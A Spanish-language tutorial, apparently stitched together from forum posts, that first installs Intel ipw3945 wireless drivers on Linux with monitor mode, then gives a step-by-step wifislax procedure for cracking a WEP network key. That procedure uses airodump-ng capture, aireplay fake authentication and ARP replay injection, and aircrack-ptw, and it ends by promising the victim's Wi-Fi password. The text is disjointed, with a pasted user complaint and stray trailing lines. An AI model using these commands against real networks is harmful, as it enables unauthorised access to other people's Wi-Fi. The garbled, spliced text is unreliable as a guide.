1 Introducción
 La tarjeta wireless está en un portatil Packard Bell Easy Note.
lspci | grep Wireless
03:00.0 Network controller: Intel Corporation PRO/Wireless 3945ABG Network Connection (rev 02)

 Los drivers se encuentran en la páginas:
http://ipw3945.sourceforge.net/
 Pasos:
La imagen binaria del microcodigo (ipw3945.ko)
El demonio del espacio binario (ipw3945d)
El sistema ieee80211 version 1.1.11 o más nuevo. (ieee80211)
Kernel de Linux 2.6.13 o más nuevo. Ver README.ipw3945 para infromación sobre específicas opciones requeridas en el kernel.
Wireless Extensions (v17) and Tools (v28)
Para WPA se necesita WPA compatible con la ultima version de la extensión wireless (v18 y nuevas).
 Instalar los paqutes:
apt-get install wireless-tools

 2 Instalar el protocolo: iee80211
su -
cd /usr/src
wget http://prdownloads.sourceforge.net/ieee80211/ieee80211-1.2.17.tar.gz?download
tar xzvf ieee80211-1.2.17.tar.gz
cd /usr/src/ieee80211-1.2.17
find /lib/modules/$(uname -r) -name "ieee80211*"
. remove-old
make
make install
cd ..

 3 Instalar el módulo del kernel: ipw3945.ko
cd /usr/src/
wget http://prdownloads.sourceforge.net/ipw3945/ipw3945-1.2.1.tgz?download .
tar xzvf ipw3945-1.2.1.tgz
cd ipw3945-1.2.1

 Activar el modo monitor para hacer escaneos de red. nano Makefile Descomentar la linea:
CONFIG_IPW3945_MONITOR=y

make

 4 Instalando el firmware: ipw3945-ucode
cd /usr/src
wget http://bughost.org/ipw3945/ucode/ipw3945-ucode-1.14.2.tgz
tar xzvf ipw3945-ucode-1.14.2.tgz
less ipw3945-ucode-1.14.2/LICENSE.ipw3945-ucode
cp ipw3945-ucode-1.14.2/ipw3945.ucode /lib/firmware/

 5 Instalar el demonio: ipw3945d
wget http://bughost.org/ipw3945/daemon/ipw3945d-1.7.22.tgz
tar xzvf ipw3945d-1.7.22.tgz
less ipw3945d-1.7.22/LICENSE.ipw3945d
cp ipw3945d-1.7.22/x86/ipw3945d /sbin/
cp /sbin/ipw3945d /etc/init.d/
ln -s  /etc/init.d/ipw3945d /etc/rc5.d/S01ipw3945d
cd ipw3945d-1.7.22/

 6 Cargando los drivers
modprobe ipw3945
cd /usr/src/ipw3945-1.2.1
./load debug=0

ste truco sólo es posible si tienes una ipw 3945 ABG.

Lo primero que debes hacer es bajar el live cd wifislax 3.1

Para bajar el wifislax 3.1 buscalo en google, es fácil.

Luego de grabarlo, hacer lo siguiente:

1º Cargar el CD con la distribución:

Metemos el live-cd y luego reiniciamos, fijandose en la bios que el cd este como arranque en primer lugar.

2º Ingresar como root:

user: root

pass: toor

# startx, para cargar el entorno gráfico.

3º En el entorno, activar el adaptador para inyectar:

-Inicio/wifislax/drivers/intel pro wireless/intel pro wireless 3945 inyection

-Carga el script.

Con esto ya tenemos nuestra tarjeta de red en modo monitor.

4º Preparar el adaptador:

Desde la shell:

# ifconfig wifi0 up

# iwconfig wifi0 rate 1M

5º Empezamos a capturar y preparamos el entorno:

Aconsejo abrir 4 o 5 shell para trabajar con comodidad y poner en cada una un trabajo,

En este paso ponemos a capturar datos con este comando:

# airodump-ng -w f --channel (canal) wifi0

Si no especificas en canal, capturaremos información de todos en forma aleatoria.

6º En otra consola empezamos a inyectar:

# aireplay -1 0 -a (BSSID) -e (ESSID) -h (MacNuestro) wifi0 aquì me quedo y me dice que la mac no es valida

-El Bssid y essid sale durante la captura, copialo desde ahí, y el MacNuestro es el número Mac de nuestra wifi, que se puede ver en:

# ifconfig

Donde sale wifi0 en HWAdress copias los primeros 6 grupos de números del principio, cambia los guiones por : y lo pones en MacNuestro.

7º Inyectamos en serio

Ponemos en otra consola:

# aireplay -3 -b (BSSID) -h (MacNuestro) wifi0

Esperamos de 5 a 10 minutos, si funciona empezará a subir los paquetes muy rápido en la consola de airodump.

8º descifrando

Cuando juntamos más de 30000 data, paramos el airodump, hacemos un ls -l y vemos como se llama el fichero .cap que se ha creado. Con ese dato hacemos lo siguiente:

# aircrack-ptw (fichero.cap)

En unos segundos te aparecerá la clave, y ya tienes la clave de la wifi.

Claro.

Cambia la el plan de frecuencia en configuracion.